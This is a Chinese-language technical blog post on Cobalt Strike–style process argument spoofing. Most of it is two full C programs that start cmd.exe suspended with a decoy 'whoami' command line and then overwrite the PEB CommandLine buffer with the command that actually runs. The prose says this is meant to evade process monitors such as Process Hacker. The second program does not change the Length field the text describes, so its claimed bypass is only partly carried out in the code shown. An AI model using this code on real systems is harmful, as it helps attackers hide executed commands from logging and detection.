在Cobalt Strike 3.13版本的时候引入了一个进程参数欺骗的技术(虽然现在都4.0了),可以使进程在创建时记录的参数与实际运行时不同,windows系统从peb的commandline中读取参数,并对参数做相应的处理,在线程未初始化完成前,我们可以修改参数,并让进程执行它,在操作上几乎与命令行伪装一样,只是有一些流程上的不同,这里不过多赘述详见伪装命令行规避检测。
#include <stdio.h>
#include <Windows.h>
#include <winternl.h>
typedef DWORD(*pNtQueryInformationProcess) (HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG);
int main()
{
ULONG lenght = 0;
HMODULE hModule;
PROCESS_BASIC_INFORMATION ProcessInformation;
pNtQueryInformationProcess NtQueryInformationProcess;
wchar_t CommandLine[] = L"C:\\Windows\\system32\\cmd.exe /c dir";
//.&& whoami / priv && pause"
wchar_t CurrentDirectory[] = L"C:\\Windows\\system32\\";
hModule = LoadLibraryA("ntdll.dll");
STARTUPINFOA si = { 0 };
si.cb = sizeof(si);
PROCESS_INFORMATION pi = { 0 };
CreateProcessA(NULL, (LPSTR)"C:\\Windows\\system32\\cmd.exe /c whoami", NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
NtQueryInformationProcess = (pNtQueryInformationProcess)GetProcAddress(hModule, "NtQueryInformationProcess");
NtQueryInformationProcess(pi.hProcess, ProcessBasicInformation, &ProcessInformation, sizeof(ProcessInformation), &lenght);
RTL_USER_PROCESS_PARAMETERS rupp = { 0 };
PEB peb = { 0 };
ReadProcessMemory(pi.hProcess, ProcessInformation.PebBaseAddress, &peb, sizeof(peb), NULL);
ReadProcessMemory(
pi.hProcess,
peb.ProcessParameters,
&rupp,
sizeof(RTL_USER_PROCESS_PARAMETERS)
, NULL);
WriteProcessMemory(pi.hProcess, (LPVOID)rupp.CommandLine.Buffer, CommandLine, sizeof(CommandLine), NULL);
ResumeThread(pi.hThread);
return 0;
}
前面我们说了process hacker和process explorer等进程监视工具会从peb内直接读取commandline的内容,这时就有小朋友要问了,那我们这么做不是会被发现吗(不皮了不皮了)。
由于进程监视工具(啃过源码)会先读取commandline的length,根据length的值来读取commandline.buffer的内容,而操作系统则由是通过'\x00'来判断字符串是否结束。
#include <stdio.h>
#include <Windows.h>
#include <winternl.h>
typedef DWORD(*pNtQueryInformationProcess) (HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG);
int main()
{
ULONG lenght = 0;
HMODULE hModule;
PROCESS_BASIC_INFORMATION ProcessInformation;
pNtQueryInformationProcess NtQueryInformationProcess;
wchar_t CommandLine[] = L"C:\\Windows\\system32\\cmd.exe /c dir . && whoami /priv && pause";
wchar_t CurrentDirectory[] = L"C:\\Windows\\system32\\";
hModule = LoadLibraryA("ntdll.dll");
STARTUPINFOA si = { 0 };
si.cb = sizeof(si);
PROCESS_INFORMATION pi = { 0 };
CreateProcessA(NULL, (LPSTR)"C:\\Windows\\system32\\cmd.exe /c whoami", NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
NtQueryInformationProcess = (pNtQueryInformationProcess)GetProcAddress(hModule, "NtQueryInformationProcess");
NtQueryInformationProcess(pi.hProcess, ProcessBasicInformation, &ProcessInformation, sizeof(ProcessInformation), &lenght);
RTL_USER_PROCESS_PARAMETERS rupp = { 0 };
PEB peb = { 0 };
ReadProcessMemory(pi.hProcess, ProcessInformation.PebBaseAddress, &peb, sizeof(peb), NULL);
ReadProcessMemory(
pi.hProcess,
peb.ProcessParameters,
&rupp,
sizeof(RTL_USER_PROCESS_PARAMETERS)
, NULL);
WriteProcessMemory(pi.hProcess, (LPVOID)rupp.CommandLine.Buffer, CommandLine, sizeof(CommandLine), NULL);
ResumeThread(pi.hThread);
return 0;
}